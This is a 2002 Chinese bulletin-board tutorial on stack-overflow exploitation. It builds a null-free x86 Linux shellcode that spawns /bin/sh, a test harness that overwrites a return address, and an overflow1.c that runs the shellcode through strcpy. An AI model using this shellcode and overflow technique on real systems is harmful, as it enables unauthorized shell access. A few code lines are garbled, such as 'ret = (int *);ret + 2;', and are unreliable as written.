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发信人: boguce (心情如歌), 信区: Security
标 题: 堆栈溢出系列讲座(2)
发信站: 荔园晨风BBS站 (Fri Jan 11 12:24:35 2002), 转信
堆栈溢出系列讲座
如何书写一个shell code
一:shellcode基本算法分析
在程序中,执行一个shell的程序是这样写的:
shellcode.c
------------------------------------------------------------------------
#include <stdio.h>
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
------------------------------------------------------------------------
execve函数将执行一个程序。他需要程序的名字地址作为第一个参数。一个内容为
该程序
的argv[i](argv[n-1]=0)的指针数组作为第二个参数,以及(char*) 0作为第三个
参数。
我们来看以看execve的汇编代码:
[nkl10]$ gcc -o shellcode -static shellcode.c
[nkl10]$ gdb shellcode
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp ;
0x80002bd <__execve+1>: movl %esp,%ebp
;上面是函数头。
0x80002bf <__execve+3>: pushl %ebx
;保存ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
;eax=0xb,eax指明第几号系统调用。
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
;ebp+8是第一个参数"/bin/sh\0"
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
;ebp+12是第二个参数name数组的地址
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
;ebp+16是第三个参数空指针的地址。
;name[2-1]内容为NULL,用来存放返回值。
0x80002ce <__execve+18>: int $0x80
;执行0xb号系统调用(execve)
0x80002d0 <__execve+20>: movl %eax,%edx
;下面是返回值的处理就没有用了。
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34
<__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.
经过以上的分析,可以得到如下的精简指令算法:
movl $execve的系统调用号,%eax
movl "bin/sh\0"的地址,%ebx
movl name数组的地址,%ecx
movl name[n-1]的地址,%edx
int $0x80 ;执行系统调用(execve)
当execve执行成功后,程序shellcode就会退出,/bin/sh将作为子进程继续执行。
可是,
如果我们的execve执行失败,(比如没有/bin/sh这个文件),CPU就会继续执行后
续的
指令,结果不知道跑到哪里去了。所以必须再执行一个exit()系统调用,
结束shellcode.c的执行。
我们来看以看exit(0)的汇编代码:
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>: pushl %ebp
0x800034d <_exit+1>: movl %esp,%ebp
0x800034f <_exit+3>: pushl %ebx
0x8000350 <_exit+4>: movl $0x1,%eax ;1号系统调用
0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx ;ebx为参数0
0x8000358 <_exit+12>: int $0x80 ;引发系统调用
0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>: movl %ebp,%esp
0x800035f <_exit+19>: popl %ebp
0x8000360 <_exit+20>: ret
0x8000361 <_exit+21>: nop
0x8000362 <_exit+22>: nop
0x8000363 <_exit+23>: nop
End of assembler dump.
看来exit(0)〕的汇编代码更加简单:
movl $0x1,%eax ;1号系统调用
movl 0,%ebx ;ebx为exit的参数0
int $0x80 ;引发系统调用
那么总结一下,合成的汇编代码为:
movl $execve的系统调用号,%eax
movl "bin/sh\0"的地址,%ebx
movl name数组的地址,%ecx
movl name[n-1]的地址,%edx
int $0x80 ;执行系统调用(execve)
movl $0x1,%eax ;1号系统调用
movl 0,%ebx ;ebx为exit的参数0
int $0x80 ;执行系统调用(exit)
二:实现一个shellcode
好,我们来实现这个算法。首先我们必须有一个字符串“/bin/sh”,还得有一个
name数组
。我们可以构造它们出来,可是,在shellcode中如何知道它们的地址呢?每一次
程序都是
动态加载,字符串和name数组的地址都不是固定的。
通过JMP和call的结合,黑客们巧妙的解决了这个问题。
------------------------------------------------------------------------
jmp call的偏移地址 # 2 bytes
popl %esi # 1 byte //popl出来的是string的地
址。
movl %esi,array-offset(%esi) # 3 bytes //在string+8处构造 name
数组,
//name[0]放 string的地址
movb $0x0,nullbyteoffset(%esi)# 4 bytes //string+7处放0作为
string的结
尾。
movl $0x0,null-offset(%esi) # 7 bytes //name[1]放0。
movl $0xb,%eax # 5 bytes //eax=0xb是execve的
syscall代码
。
movl %esi,%ebx # 2 bytes //ebx=string的地址
leal array-offset,(%esi),%ecx # 3 bytes //ecx=name数组的开始地址
leal null-offset(%esi),%edx # 3 bytes //edx=name〔1]的地址
int $0x80 # 2 bytes //int 0x80是sys call
movl $0x1, %eax # 5 bytes //eax=0x1是exit的
syscall代码
movl $0x0, %ebx # 5 bytes //ebx=0是exit的返回值
int $0x80 # 2 bytes //int 0x80是sys call
call popl 的偏移地址 # 5 bytes //这里放call,string 的地
址就会
作
//为返回地址压栈。
/bin/sh 字符串
------------------------------------------------------------------------
首先使用JMP相对地址来跳转到call,执行完call指令,字符串/bin/sh的地址将作
为call的
返回地址压入堆栈。现在来到popl esi,把刚刚压入栈中的字符串地址取出来,就
获得了
字符串的真实地址。然后,在字符串的第8个字节赋0,作为串的结尾。后面8个字
节,构造
name数组(两个整数,八个字节)。
我们可以写shellcode了。先写出汇编源程序。
shellcodeasm.c
------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string \"/bin/sh\" # 8 bytes
");
}
------------------------------------------------------------------------
编译后,用gdb的
b/bx 〔地址〕
命令可以得到十六进制的表示。
下面,写出测试程序如下:(注意,这个test程序是测试shellcode的基本程序)
test.c
------------------------------------------------------------------------
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
void main() {
int *ret;
ret = (int *);ret + 2; //ret 等于main()的返回地址
//(+2是因为:有pushl ebp ,否则加1就可以
了。)
(*ret) = (int)shellcode; //修改main()的返回地址为shellcode的开
始地
址。
}
------------------------------------------------------------------------
------------------------------------------------------------------------
[nkl10]$ gcc -o test test.c
[nkl10]$ ./test
$ exit
[nkl10]$
------------------------------------------------------------------------
我们通过一个shellcode数组来存放shellcode,当我们把程序(test.c)的返回地
址ret
设置成shellcode数组的开始地址时,程序在返回的时候就会去执行我们的
shellcode,从
而我们得到了一个shell。
运行结果,得到了bsh的提示符$,表明成功的开了一个shell。
这里有必要解释的是,我们把shellcode作为一个全局变量开在了数据段而不是作
为一段
代码。是因为在操作系统中,程序代码段的内容是具有只读属性的。不能修改。而
我们的
代码中movl %esi,0x8(%esi)等语句都修改了代码的一部分,所以不能放在代码
段。
这个shellcode可以了吗?很遗憾,还差了一点。大家回想一下,在堆栈溢出中,
关键在
于字符串数组的写越界。但是,gets,strcpy等字符串函数在处理字符串的时候,
以"\0"
为字符串结尾。遇\0就结束了写操作。而我们的shellcode串中有大量的\0字符。
因此,
对于gets(name)来说,上面的shellcode是不可行的。我们的shellcode是不能有
\0字符
出现的。
因此,有些指令需要修改一下:
旧的指令 新的指令
--------------------------------------------------------
movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
--------------------------------------------------------
最后的shellcode为:
------------------------------------------------------------------------
char shellcode[]=
00 "\xeb\x1f" /* jmp 0x1f */
02 "\x5e" /* popl %esi */
03 "\x89\x76\x08" /* movl %esi,0x8(%esi) */
06 "\x31\xc0" /* xorl %eax,%eax */
08 "\x88\x46\x07" /* movb %eax,0x7(%esi) */
0b "\x89\x46\x0c" /* movl %eax,0xc(%esi) */
0e "\xb0\x0b" /* movb $0xb,%al */
10 "\x89\xf3" /* movl %esi,%ebx */
12 "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
15 "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
18 "\xcd\x80" /* int $0x80 */
1a "\x31\xdb" /* xorl %ebx,%ebx */
1c "\x89\xd8" /* movl %ebx,%eax */
1e "\x40" /* inc %eax */
1f "\xcd\x80" /* int $0x80 */
21 "\xe8\xdc\xff\xff\xff" /* call -0x24 */
26 "/bin/sh"; /* .string \"/bin/sh\" */
------------------------------------------------------------------------
三:利用堆栈溢出获得shell
好了,现在我们已经制造了一次堆栈溢出,写好了一个shellcode。准备工作都已
经作完,
我们把二者结合起来,就写出一个利用堆栈溢出获得shell的程序。
overflow1.c
------------------------------------------------------------------------
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
------------------------------------------------------------------------
在执行完strcpy后,堆栈内容如下所示:
内存底部 内存顶部
buffer EBP ret
<------ [SSS...SSSA ][A ][A ]A..A
^;buffer
堆栈顶部 堆栈底部
注:S表示shellcode。
A表示shellcode的地址。
这样,在执行完strcpy后,overflow。c将从ret取出A作为返回地址,从而执行了
我们的
shellcode。
--
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